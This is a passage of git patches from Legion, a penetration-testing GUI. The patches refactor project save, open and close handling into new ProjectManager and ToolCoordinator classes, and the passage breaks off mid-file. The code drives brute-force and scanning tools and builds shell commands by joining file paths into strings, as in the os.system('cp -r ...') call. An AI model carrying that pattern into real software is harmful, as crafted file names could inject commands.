def restoreToolTabs(self): - tools = self.controller.getProcessesFromDB(self.filters, showProcesses=False) # false means we are fetching processes with display flag=False, which is the case for every process once a project is closed. + tools = self.controller.getProcessesFromDB(self.viewState.filters, showProcesses=False) # false means we are fetching processes with display flag=False, which is the case for every process once a project is closed. nbr = len(tools) # show a progress bar because this could take long if nbr==0: nbr=1 @@ -1414,8 +1398,8 @@ def restoreToolTabs(self): self.tick.emit(int(totalprogress)) def restoreToolTabsForHost(self, ip): - if (self.hostTabs) and (ip in self.hostTabs): - tabs = self.hostTabs[ip] # use the ip as a key to retrieve its list of tooltabs + if (self.viewState.hostTabs) and (ip in self.viewState.hostTabs): + tabs = self.viewState.hostTabs[ip] # use the ip as a key to retrieve its list of tooltabs for tab in tabs: # do not display hydra and nmap tabs when restoring for that host if not 'hydra' in tab.objectName() and not 'nmap' in tab.objectName(): @@ -1426,8 +1410,8 @@ def restoreToolTabWidget(self, clear=False): if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit) == self.ui.toolOutputTextView: return - for host in self.hostTabs.keys(): - hosttabs = self.hostTabs[host] + for host in self.viewState.hostTabs.keys(): + hosttabs = self.viewState.hostTabs[host] for tab in hosttabs: if not 'screenshot' in str(tab.objectName()) and not tab.findChild(QtWidgets.QPlainTextEdit): tab.layout().addWidget(self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit)) @@ -1445,8 +1429,8 @@ def createNewBruteTab(self, ip, port, service): self.ui.statusbar.showMessage('Sending to Brute: '+str(ip)+':'+str(port)+' ('+str(service)+')', msecs=1000) bWidget = BruteWidget(ip, port, service, self.controller.getSettings()) bWidget.runButton.clicked.connect(lambda: self.callHydra(bWidget)) - self.ui.BruteTabWidget.addTab(bWidget, str(self.bruteTabCount)) - self.bruteTabCount += 1 # update tab count + self.ui.BruteTabWidget.addTab(bWidget, str(self.viewState.bruteTabCount)) + self.viewState.bruteTabCount += 1 # update tab count self.ui.BruteTabWidget.setCurrentIndex(self.ui.BruteTabWidget.count()-1) # show the last added tab in the brute widget def closeBruteTab(self, index): @@ -1504,11 +1488,11 @@ def callHydra(self, bWidget): bWidget.setObjectName(str("hydra"+" ("+bWidget.getPort()+"/tcp)")) hosttabs = [] # add widget to host tabs (needed to be able to move the widget between brute/tools tabs) - if str(bWidget.ip) in self.hostTabs: - hosttabs = self.hostTabs[str(bWidget.ip)] + if str(bWidget.ip) in self.viewState.hostTabs: + hosttabs = self.viewState.hostTabs[str(bWidget.ip)] hosttabs.append(bWidget) - self.hostTabs.update({str(bWidget.ip):hosttabs}) + self.viewState.hostTabs.update({str(bWidget.ip):hosttabs}) bWidget.pid = self.controller.runCommand("hydra", bWidget.objectName(), bWidget.ip, bWidget.getPort(), 'tcp', unicode(hydraCommand), getTimestamp(True), bWidget.outputfile, bWidget.display) bWidget.runButton.clicked.disconnect() @@ -1535,13 +1519,13 @@ def bruteProcessFinished(self, bWidget): self.createNewTabForHost(str(bWidget.ip), str(bWidget.objectName()), restoring=True, content=unicode(bWidget.display.toPlainText())).setProperty('dbId', str(bWidget.display.property('dbId'))) hosttabs = [] # go through host tabs and find the correct bWidget - if str(bWidget.ip) in self.hostTabs: - hosttabs = self.hostTabs[str(bWidget.ip)] + if str(bWidget.ip) in self.viewState.hostTabs: + hosttabs = self.viewState.hostTabs[str(bWidget.ip)] if hosttabs.count(bWidget) > 1: hosttabs.remove(bWidget) - self.hostTabs.update({str(bWidget.ip):hosttabs}) + self.viewState.hostTabs.update({str(bWidget.ip):hosttabs}) bWidget.runButton.clicked.disconnect() bWidget.runButton.clicked.connect(lambda: self.callHydra(bWidget)) From 04077ede8ad9bb2a4589f6b523feeb79a79e655a Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sun, 20 Oct 2019 12:01:13 -0700 Subject: [PATCH 309/450] Update CodeClimate to add excludes for yml and markdown files --- .codeclimate.yml | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.codeclimate.yml b/.codeclimate.yml index 3478800f..dd202ae1 100644 --- a/.codeclimate.yml +++ b/.codeclimate.yml @@ -17,4 +17,6 @@ exclude_patterns: - "**/*.conf" - "**/*.sh" - "**/*.qss" - - "**/*.txt" \ No newline at end of file + - "**/*.txt" + - "**/*.yml" + - "**/*.md" \ No newline at end of file From 8614135b5873ea7e44f239d30fb3420617121c65 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sun, 20 Oct 2019 12:08:29 -0700 Subject: [PATCH 310/450] Refactor Save/Open/Close projects - Refactor saving/opening/closing projects into separate class ProjectManager that is responsible for executing tasks related to a running project. - Introduce tool coordinator to be able to execute actions around specific tools - currently only saving tool output - Logic class is responsible for holding currently active project that can be used by other parts of system to reference everything related to the currently running project --- app/Project.py | 44 ++ app/ProjectManager.py | 152 +++++++ app/auxiliary.py | 38 +- app/logging/legionLog.py | 23 + app/logic.py | 178 +------- app/settings.py | 2 - app/shell/DefaultShell.py | 9 + app/shell/Shell.py | 12 + app/timing.py | 34 ++ app/tools/ToolCoordinator.py | 72 +++ app/tools/__init__.py | 0 app/tools/nmap/DefaultNmapExporter.py | 39 ++ app/tools/nmap/NmapExporter.py | 24 + app/tools/nmap/NmapHelpers.py | 28 ++ app/tools/nmap/__init__.py | 0 controller/controller.py | 420 ++++++++++-------- db/RepositoryContainer.py | 36 ++ db/RepositoryFactory.py | 42 ++ db/database.py | 8 +- legion.py | 24 +- parsers/Host.py | 1 + parsers/OS.py | 1 + parsers/Parser.py | 2 + parsers/Service.py | 1 + parsers/Session.py | 1 + tests/app/test_ProjectManager.py | 136 ++++++ tests/app/test_logic.py | 74 --- tests/app/tools/__init__.py | 0 tests/app/tools/nmap/__init__.py | 0 .../tools/nmap/test_DefaultNmapExporter.py | 45 ++ tests/app/tools/nmap/test_NmapHelpers.py | 42 ++ tests/app/tools/test_ToolCoordinator.py | 90 ++++ ui/gui.py | 3 +- ui/view.py | 2 +- 34 files changed, 1102 insertions(+), 481 deletions(-) create mode 100644 app/Project.py create mode 100644 app/ProjectManager.py create mode 100644 app/logging/legionLog.py create mode 100644 app/timing.py create mode 100644 app/tools/ToolCoordinator.py create mode 100644 app/tools/__init__.py create mode 100644 app/tools/nmap/DefaultNmapExporter.py create mode 100644 app/tools/nmap/NmapExporter.py create mode 100644 app/tools/nmap/NmapHelpers.py create mode 100644 app/tools/nmap/__init__.py create mode 100644 db/RepositoryContainer.py create mode 100644 db/RepositoryFactory.py create mode 100644 tests/app/test_ProjectManager.py delete mode 100644 tests/app/test_logic.py create mode 100644 tests/app/tools/__init__.py create mode 100644 tests/app/tools/nmap/__init__.py create mode 100644 tests/app/tools/nmap/test_DefaultNmapExporter.py create mode 100644 tests/app/tools/nmap/test_NmapHelpers.py create mode 100644 tests/app/tools/test_ToolCoordinator.py diff --git a/app/Project.py b/app/Project.py new file mode 100644 index 00000000..d14872c6 --- /dev/null +++ b/app/Project.py @@ -0,0 +1,44 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from typing import NamedTuple + +from app.auxiliary import Wordlist +from db.RepositoryContainer import RepositoryContainer +from db.database import Database + +projectTypes = ["legion", "sparta"] + + +class ProjectProperties(NamedTuple): + projectName: str + workingDirectory: str + projectType: str + isTemporary: bool + outputFolder: str + runningFolder: str + usernamesWordList: Wordlist + passwordWordList: Wordlist + storeWordListsOnExit: bool + + +class Project: + def __init__(self, projectProperties: ProjectProperties, repositoryContainer: RepositoryContainer, + database: Database): + self.properties: ProjectProperties = projectProperties + self.repositoryContainer: RepositoryContainer = repositoryContainer + self.database = database diff --git a/app/ProjectManager.py b/app/ProjectManager.py new file mode 100644 index 00000000..1bfa9820 --- /dev/null +++ b/app/ProjectManager.py @@ -0,0 +1,152 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import ntpath +import os +import sys +from typing import Tuple + +from app.Project import Project, ProjectProperties +from app.tools.ToolCoordinator import fileExists +from app.auxiliary import Wordlist +from app.shell.Shell import Shell +from db.RepositoryFactory import RepositoryFactory +from db.database import Database + + +class ProjectManager: + def __init__(self, shell: Shell, repositoryFactory: RepositoryFactory, logger): + self.shell = shell + self.repositoryFactory = repositoryFactory + self.logger = logger + + def createNewProject(self, projectType: str, isTemp: bool) -> Project: + database = self.__createDatabase() + workingDirectory = self.shell.get_current_working_directory() + + # to store tool output of finished processes + outputFolder = self.shell.create_temporary_directory(prefix="legion-", suffix="-tool-output", + directory="./tmp/") + + # to store tool output of running processes + runningFolder = self.shell.create_temporary_directory(prefix="legion-", suffix="-running", directory="./tmp/") + + self.shell.create_directory_recursively(f"{outputFolder}/screenshots") # to store screenshots + self.shell.create_directory_recursively(f"{runningFolder}/nmap") # to store nmap output + self.shell.create_directory_recursively(f"{runningFolder}/hydra") # to store hydra output + self.shell.create_directory_recursively(f"{runningFolder}/dnsmap") # to store dnsmap output + + (usernameWordList, passwordWordList) = self.__createUsernameAndPasswordWordLists(outputFolder) + repositoryContainer = self.repositoryFactory.buildRepositories(database) + + projectName = database.name + projectProperties = ProjectProperties( + projectName, workingDirectory, projectType, isTemp, outputFolder, runningFolder, usernameWordList, + passwordWordList, storeWordListsOnExit=True + ) + return Project(projectProperties, repositoryContainer, database) + + def openExistingProject(self, projectName: str, projectType: str = "legion") -> Project: + self.logger.info(f"Opening existing project: {projectName}...") + database = self.__createDatabase(projectName) + workingDirectory = f"{ntpath.dirname(projectName)}/" + outputFolder, _ = self.__determineOutputFolder(projectName, projectType) + runningFolder = self.shell.create_temporary_directory(suffix="-running", prefix=projectType + '-', + directory="./tmp/") + (usernameWordList, passwordWordList) = self.__createUsernameAndPasswordWordLists(outputFolder) + projectProperties = ProjectProperties( + projectName=projectName, workingDirectory=workingDirectory, projectType=projectType, isTemporary=False, + outputFolder=outputFolder, runningFolder=runningFolder, usernamesWordList=usernameWordList, + passwordWordList=passwordWordList, storeWordListsOnExit=True + ) + repositoryContainer = self.repositoryFactory.buildRepositories(database) + return Project(projectProperties, repositoryContainer, database) + + def closeProject(self, project: Project) -> None: + self.logger.info(f"Closing project {project.properties.projectName}...") + # if current project is not temporary & delete wordlists if necessary + projectProperties = project.properties + try: + if not projectProperties.isTemporary: + if not projectProperties.storeWordListsOnExit: + self.logger.info('Removing wordlist files.') + self.shell.remove_file(projectProperties.usernamesWordList.filename) + self.shell.remove_file(projectProperties.passwordWordList.filename) + else: + self.logger.info('Removing temporary files and folders...') + self.shell.remove_file(projectProperties.projectName) + self.shell.remove_directory(projectProperties.outputFolder) + + self.logger.info('Removing running folder at close...') + self.shell.remove_directory(projectProperties.runningFolder) + except: + self.logger.info('Something went wrong removing temporary files and folders..') + self.logger.info("Unexpected error: {0}".format(sys.exc_info()[0])) + + # this function copies the current project files and folder to a new location + # if the replace flag is set to 1, it overwrites the destination file and folder + def saveProjectAs(self, project: Project, fileName: str, replace=0, projectType="legion") -> Project: + self.logger.info(f"Saving project {project.properties.projectName}...") + toolOutputFolder, normalizedFileName = self.__determineOutputFolder(fileName, projectType) + + # check if filename already exists (skip the check if we want to replace the file) + if replace == 0 and fileExists(self.shell, normalizedFileName): + return + + self.shell.copy(source=project.properties.projectName, destination=normalizedFileName) + os.system('cp -r "' + project.properties.outputFolder + '/." "' + toolOutputFolder + '"') + + if project.properties.isTemporary: + self.shell.remove_file(project.properties.projectName) + self.shell.remove_directory(project.properties.outputFolder) + + self.logger.info(f"Project saved as {normalizedFileName}.") + return self.openExistingProject(normalizedFileName, projectType) + + def __createDatabase(self, projectName: str = None) -> Database: + if projectName: + return Database(projectName) + + databaseFile = self.shell.create_named_temporary_file(suffix=".legion", prefix="legion-", directory="./tmp/", + delete_on_close=False) # to store the db file + return Database(databaseFile.name) + + @staticmethod + def setStoreWordListsOnExit(project: Project, storeWordListsOnExit: bool) -> None: + projectProperties = ProjectProperties( + projectName=project.properties.projectName, workingDirectory=project.properties.workingDirectory, + projectType=project.properties.projectType, isTemporary=project.properties.isTemporary, + outputFolder=project.properties.outputFolder, runningFolder=project.properties.runningFolder, + usernamesWordList=project.properties.usernamesWordList, + passwordWordList=project.properties.passwordWordList, storeWordListsOnExit=storeWordListsOnExit + ) + project.properties = projectProperties + + @staticmethod + def __determineOutputFolder(projectName: str, projectType: str) -> Tuple[str, str]: + nameOffset = len(projectType) + 1 + if not projectName.endswith(projectType): + # use the same name as the file for the folder (without the extension) + return f"{projectName}-tool-output", f"{projectName}.{projectType}" + else: + return f"{projectName[:-nameOffset]}-tool-output", projectName + + @staticmethod + def __createUsernameAndPasswordWordLists(outputFolder: str) -> Tuple[Wordlist, Wordlist]: + usernamesWordlist = Wordlist(f"{outputFolder}/legion-usernames.txt") # to store found usernames + passwordWordlist = Wordlist(f"{outputFolder}/legion-passwords.txt") # to store found passwords + return usernamesWordlist, passwordWordlist diff --git a/app/auxiliary.py b/app/auxiliary.py index 6648ea0c..6e96761d 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -20,37 +20,14 @@ re # for webrequests, screenshot timeouts, timestamps, browser stuff and regex from PyQt5 import QtCore, QtWidgets from PyQt5.QtCore import * # for QProcess -from PyQt5.QtWidgets import * -import subprocess # for screenshots with cutycapt -import string # for input validation from six import u as unicode -import asyncio, aioredis, aiohttp from datetime import datetime -import hashlib, json -from apscheduler.schedulers.asyncio import AsyncIOScheduler from app.http.isHttps import isHttps +from app.logging.legionLog import log +from app.timing import timing from utilities.stenoLogging import * -from functools import wraps from time import time -import io - -log = get_logger('legion', path="./log/legion.log", console=False) -log.setLevel(logging.INFO) - - -def timing(f): - @wraps(f) - def wrap(*args, **kw): - ts = time() - result = f(*args, **kw) - te = time() - tr = te - ts - log.debug('Function:%r args:[%r, %r] took: %2.4f sec' % (f.__name__, args, kw, tr)) - return result - - return wrap - # bubble sort algorithm that sorts an array (in place) based on the values in another array # the values in the array must be comparable and in the corresponding positions @@ -142,17 +119,6 @@ def checkHydraResults(output): return False, [], [] -@timing -def exportNmapToHTML(filename): - try: - command = 'xsltproc -o ' + str(filename) + '.html ' + str(filename) + '.xml' - p = subprocess.Popen(command, shell=True) - p.wait() - - except: - log.info('Could not convert nmap XML to HTML. Try: apt-get install xsltproc') - - # this class is used for example to store found usernames/passwords class Wordlist(): def __init__(self, filename): # needs full path diff --git a/app/logging/legionLog.py b/app/logging/legionLog.py new file mode 100644 index 00000000..38da8153 --- /dev/null +++ b/app/logging/legionLog.py @@ -0,0 +1,23 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import logging + +from utilities.stenoLogging import get_logger + +log = get_logger('legion', path="./log/legion.log", console=False) +log.setLevel(logging.INFO) diff --git a/app/logic.py b/app/logic.py index cce17c5e..a1f1fbae 100644 --- a/app/logic.py +++ b/app/logic.py @@ -18,193 +18,51 @@ import ntpath import shutil -import tempfile +from app.Project import Project +from app.tools.ToolCoordinator import ToolCoordinator from app.shell.Shell import Shell from db.database import * -from db.repositories.CVERepository import CVERepository -from db.repositories.HostRepository import HostRepository -from db.repositories.NoteRepository import NoteRepository -from db.repositories.PortRepository import PortRepository -from db.repositories.ProcessRepository import ProcessRepository -from db.repositories.ScriptRepository import ScriptRepository -from db.repositories.ServiceRepository import ServiceRepository from ui.ancillaryDialog import * class Logic: - def __init__(self, project_name: str, db: Database, shell: Shell, hostRepository: HostRepository): + def __init__(self, shell: Shell, projectManager, toolCoordinator: ToolCoordinator): + self.projectManager = projectManager + self.activeProject: Project = None + self.toolCoordinator = toolCoordinator self.shell = shell - self.db = db - self.cwd = shell.get_current_working_directory() - self.projectname = project_name - self.createTemporaryFiles() # creates temporary files/folders used by SPARTA - log.info(project_name) - self.reinitialize(db, hostRepository) - - def reinitialize(self, db: Database, hostRepository: HostRepository): - self.serviceRepository: ServiceRepository = ServiceRepository(db) - self.processRepository: ProcessRepository = ProcessRepository(db, log) - self.hostRepository: HostRepository = hostRepository - self.portRepository: PortRepository = PortRepository(db) - self.cveRepository: CVERepository = CVERepository(db) - self.noteRepository: NoteRepository = NoteRepository(db, log) - self.scriptRepository: ScriptRepository = ScriptRepository(db) - - def createTemporaryFiles(self): - try: - log.info('Creating temporary files..') - self.istemp = True # indicates that file is temporary and can be deleted if user exits without saving - log.info(self.cwd) - - self.outputfolder = self.shell.create_temporary_directory( - prefix="legion-", suffix="-tool-output", directory="./tmp/") # to store tool output of finished processes - self.runningfolder = self.shell.create_temporary_directory( - prefix="legion-", suffix="-running", directory="./tmp/") # to store tool output of running processes - - self.shell.create_directory_recursively(f"{self.outputfolder}/screenshots") # to store screenshots - self.shell.create_directory_recursively(f"{self.runningfolder}/nmap") # to store nmap output - self.shell.create_directory_recursively(f"{self.runningfolder}/hydra") # to store hydra output - self.shell.create_directory_recursively(f"{self.runningfolder}/dnsmap") # to store dnsmap output - - self.usernamesWordlist = Wordlist(self.outputfolder + '/legion-usernames.txt') # to store found usernames - self.passwordsWordlist = Wordlist(self.outputfolder + '/legion-passwords.txt') # to store found passwords - except: - log.info('Something went wrong creating the temporary files..') - log.info("Unexpected error: {0}".format(sys.exc_info()[0])) - - def removeTemporaryFiles(self): - log.info('Removing temporary files and folders..') - try: - # if current project is not temporary & delete wordlists if necessary - if not self.istemp: - if not self.storeWordlists: - log.info('Removing wordlist files.') - self.shell.remove_file(self.usernamesWordlist.filename) - self.shell.remove_file(self.passwordsWordlist.filename) - else: - self.shell.remove_file(self.projectname) - self.shell.remove_directory(self.outputfolder) - - self.shell.remove_directory(self.runningfolder) - except: - log.info('Something went wrong removing temporary files and folders..') - log.info("Unexpected error: {0}".format(sys.exc_info()[0])) def createFolderForTool(self, tool): if 'nmap' in tool: tool = 'nmap' - path = self.runningfolder+'/'+re.sub("[^0-9a-zA-Z]", "", str(tool)) + path = self.activeProject.properties.runningFolder + '/' + re.sub("[^0-9a-zA-Z]", "", str(tool)) if not os.path.exists(path): os.makedirs(path) - # this flag is matched to the conf file setting, so that we know if we need to delete the found usernames/passwords wordlists on exit + # this flag is matched to the conf file setting, so that we know if we need + # to delete the found usernames/passwords wordlists on exit def setStoreWordlistsOnExit(self, flag=True): self.storeWordlists = flag - # this function moves the specified tool output file from the temporary 'running' folder to the 'tool output' folder - def moveToolOutput(self, outputFilename): - try: - # first create the tool folder if it doesn't already exist - tool = ntpath.basename(ntpath.dirname(str(outputFilename))) - path = self.outputfolder+'/'+str(tool) - if not os.path.exists(str(path)): - os.makedirs(str(path)) - - # check if the outputFilename exists, if not try .xml and .txt extensions (different tools use different formats) - if os.path.exists(str(outputFilename)) and os.path.isfile(str(outputFilename)): - shutil.move(str(outputFilename), str(path)) - # move all the nmap files (not only the .xml) - elif os.path.exists(str(outputFilename)+'.xml') and os.path.exists(str(outputFilename)+'.nmap') and os.path.exists(str(outputFilename)+'.gnmap') and os.path.isfile(str(outputFilename)+'.xml') and os.path.isfile(str(outputFilename)+'.nmap') and os.path.isfile(str(outputFilename)+'.gnmap'): - try: - exportNmapToHTML(str(outputFilename)) - shutil.move(str(outputFilename)+'.html', str(path)) - except: - pass - - shutil.move(str(outputFilename)+'.xml', str(path)) - shutil.move(str(outputFilename)+'.nmap', str(path)) - shutil.move(str(outputFilename)+'.gnmap', str(path)) - elif os.path.exists(str(outputFilename)+'.xml') and os.path.isfile(str(outputFilename)+'.xml'): - shutil.move(str(outputFilename)+'.xml', str(path)) - elif os.path.exists(str(outputFilename)+'.txt') and os.path.isfile(str(outputFilename)+'.txt'): - shutil.move(str(outputFilename)+'.txt', str(path)) - except: - log.info('Something went wrong moving the tool output file..') - log.info("Unexpected error: {0}".format(sys.exc_info()[0])) - def copyNmapXMLToOutputFolder(self, file): try: - path = self.outputfolder+"/nmap" + path = self.activeProject.properties.outputFolder + "/nmap" filename = ntpath.basename(str(file)) if not os.path.exists(str(path)): os.makedirs(str(path)) - shutil.copy(str(file), str(path)) # will overwrite if file already exists + shutil.copy(str(file), str(path)) # will overwrite if file already exists except: log.info('Something went wrong copying the imported XML to the project folder.') log.info("Unexpected error: {0}".format(sys.exc_info()[0])) - def openExistingProject(self, filename, projectType="legion"): - try: - log.info('Opening project..') - self.istemp = False # indicate the file is NOT temporary and should NOT be deleted later - - self.projectname = str(filename) # set the new projectname and outputfolder vars - nameOffset = len(projectType) + 1 - if not str(filename).endswith(projectType): - self.outputfolder = str(filename)+'-tool-output' # use the same name as the file for the folder (without the extension) - else: - self.outputfolder = str(filename)[:-nameOffset]+'-tool-output' - - self.usernamesWordlist = Wordlist(self.outputfolder + '/' + projectType + '-usernames.txt') # to store found usernames - self.passwordsWordlist = Wordlist(self.outputfolder + '/' + projectType + '-passwords.txt') # to store found passwords - - self.runningfolder = tempfile.mkdtemp(suffix = "-running", prefix = projectType + '-') # to store tool output of running processes - self.cwd = ntpath.dirname(str(self.projectname))+'/' # update cwd so it appears nicely in the window title - self.db = Database(self.projectname) # use the new db - self.reinitialize(self.db, HostRepository(self.db)) - - except: - log.info('Something went wrong while opening the project..') - log.info("Unexpected error: {0}".format(sys.exc_info()[0])) - - # this function copies the current project files and folder to a new location - # if the replace flag is set to 1, it overwrites the destination file and folder - def saveProjectAs(self, filename, replace=0, projectType = 'legion'): - try: - # the folder name must be : filename-tool-output (without the .legion extension) - nameOffset = len(projectType) + 1 - if not str(filename).endswith(projectType): - foldername = str(filename)+'-tool-output' - filename = str(filename) + '.legion' - else: - foldername = filename[:-nameOffset]+'-tool-output' - - # check if filename already exists (skip the check if we want to replace the file) - if replace == 0 and os.path.exists(str(filename)) and os.path.isfile(str(filename)): - return False + def createNewTemporaryProject(self) -> None: + self.activeProject = self.projectManager.createNewProject(projectType="legion", isTemp=True) - shutil.copyfile(self.projectname, str(filename)) - os.system('cp -r "'+self.outputfolder+'/." "'+str(foldername)+'"') - - if self.istemp: # we can remove the temp file/folder if it was temporary - log.info('Removing temporary files and folders..') - os.remove(self.projectname) - shutil.rmtree(self.outputfolder) + def openExistingProject(self, filename, projectType="legion") -> None: + self.activeProject = self.projectManager.openExistingProject(projectName=filename, projectType=projectType) - self.db.openDB(str(filename)) # inform the DB to use the new file - self.cwd = ntpath.dirname(str(filename))+'/' # update cwd so it appears nicely in the window title - self.projectname = str(filename) - self.outputfolder = str(foldername) - - self.usernamesWordlist = Wordlist(self.outputfolder + '/legion-usernames.txt') # to store found usernames - self.passwordsWordlist = Wordlist(self.outputfolder + '/legion-passwords.txt') # to store found passwords - - self.istemp = False # indicate that file is NOT temporary anymore and should NOT be deleted later - return True - - except: - log.info('Something went wrong while saving the project..') - log.info("Unexpected error: {0}".format(sys.exc_info()[0])) - return False + def saveProjectAs(self, filename, replace=0, projectType='legion') -> bool: + self.activeProject = self.projectManager.saveProjectAs(self.activeProject, filename, replace, projectType) + return True diff --git a/app/settings.py b/app/settings.py index d4d87908..bab46132 100644 --- a/app/settings.py +++ b/app/settings.py @@ -11,8 +11,6 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . ''' -import sys, os -from PyQt5 import QtWidgets, QtGui, QtCore from app.auxiliary import * # for timestamp diff --git a/app/shell/DefaultShell.py b/app/shell/DefaultShell.py index 9959872e..8d8d98e6 100644 --- a/app/shell/DefaultShell.py +++ b/app/shell/DefaultShell.py @@ -7,6 +7,15 @@ class DefaultShell(Shell): + def copy(self, source: str, destination: str) -> None: + shutil.copyfile(source, destination) + + def move(self, source: str, destination: str) -> None: + shutil.move(source, destination) + + def directoryOrFileExists(self, path: str) -> bool: + return os.path.exists(path) + def get_current_working_directory(self) -> str: return str(subprocess.check_output("echo $PWD", shell=True)[:-1].decode()) + '/' diff --git a/app/shell/Shell.py b/app/shell/Shell.py index 7e8fd4f5..8795858f 100644 --- a/app/shell/Shell.py +++ b/app/shell/Shell.py @@ -26,6 +26,14 @@ def create_directory_recursively(self, directory: str): def create_named_temporary_file(self, prefix: str, suffix: str, directory: str, delete_on_close: bool): pass + @abstractmethod + def move(self, source: str, destination: str) -> None: + pass + + @abstractmethod + def copy(self, source: str, destination: str) -> None: + pass + @abstractmethod def isDirectory(self, name: str) -> bool: pass @@ -33,3 +41,7 @@ def isDirectory(self, name: str) -> bool: @abstractmethod def isFile(self, name: str) -> bool: pass + + @abstractmethod + def directoryOrFileExists(self, path: str) -> bool: + pass diff --git a/app/timing.py b/app/timing.py new file mode 100644 index 00000000..65351b42 --- /dev/null +++ b/app/timing.py @@ -0,0 +1,34 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from functools import wraps +from time import time + +from app.logging.legionLog import log + + +def timing(f): + @wraps(f) + def wrap(*args, **kw): + ts = time() + result = f(*args, **kw) + te = time() + tr = te - ts + log.debug('Function:%r args:[%r, %r] took: %2.4f sec' % (f.__name__, args, kw, tr)) + return result + + return wrap diff --git a/app/tools/ToolCoordinator.py b/app/tools/ToolCoordinator.py new file mode 100644 index 00000000..9b346dc8 --- /dev/null +++ b/app/tools/ToolCoordinator.py @@ -0,0 +1,72 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import ntpath + +from app.shell.Shell import Shell +from app.tools.nmap.NmapExporter import NmapExporter +from app.tools.nmap.NmapHelpers import nmapFileExists + + +def xmlFileExists(shell: Shell, fileName: str) -> bool: + return fileExists(shell, f"{fileName}.xml") + + +def textFileExists(shell: Shell, fileName: str) -> bool: + return fileExists(shell, f"{fileName}.txt") + + +def fileExists(shell: Shell, fileName) -> bool: + return shell.directoryOrFileExists(fileName) and shell.isFile(fileName) + + +class ToolCoordinator: + def __init__(self, shell: Shell, nmapExporter: NmapExporter): + self.shell = shell + self.nmapExporter = nmapExporter + + # this function moves the specified tool output file from the temporary 'running' folder + # to the 'tool output' folder + def saveToolOutput(self, projectOutputFolder: str, outputFileName: str) -> None: + tool = self.__determineToolUsedByOutputFilename(outputFileName) + toolOutputFolder = f"{projectOutputFolder}/{tool}" + self.__createToolOutputFolderIfNotExists(toolOutputFolder) + self.__determineToolOutputFiles(outputFileName, toolOutputFolder) + + def __determineToolOutputFiles(self, outputFileName: str, toolOutputFolder: str): + # check if the outputFilename exists, if not try .xml and .txt extensions + # (different tools use different formats) + if fileExists(self.shell, outputFileName): + self.shell.move(outputFileName, toolOutputFolder) + # move all the nmap files (not only the .xml) + elif nmapFileExists(self.shell, outputFileName): + self.nmapExporter.exportOutputToHtml(outputFileName, toolOutputFolder) + self.shell.move(outputFileName + '.xml', toolOutputFolder) + self.shell.move(outputFileName + '.nmap', toolOutputFolder) + self.shell.move(outputFileName + '.gnmap', toolOutputFolder) + elif xmlFileExists(self.shell, outputFileName): + self.shell.move(outputFileName + '.xml', toolOutputFolder) + elif textFileExists(self.shell, outputFileName): + self.shell.move(outputFileName + '.txt', toolOutputFolder) + + @staticmethod + def __determineToolUsedByOutputFilename(outputFileName) -> str: + return ntpath.basename(ntpath.dirname(outputFileName)) + + def __createToolOutputFolderIfNotExists(self, toolOutputFolder: str) -> None: + if not self.shell.directoryOrFileExists(toolOutputFolder): + self.shell.create_directory_recursively(toolOutputFolder) diff --git a/app/tools/__init__.py b/app/tools/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/app/tools/nmap/DefaultNmapExporter.py b/app/tools/nmap/DefaultNmapExporter.py new file mode 100644 index 00000000..04fa4c48 --- /dev/null +++ b/app/tools/nmap/DefaultNmapExporter.py @@ -0,0 +1,39 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope 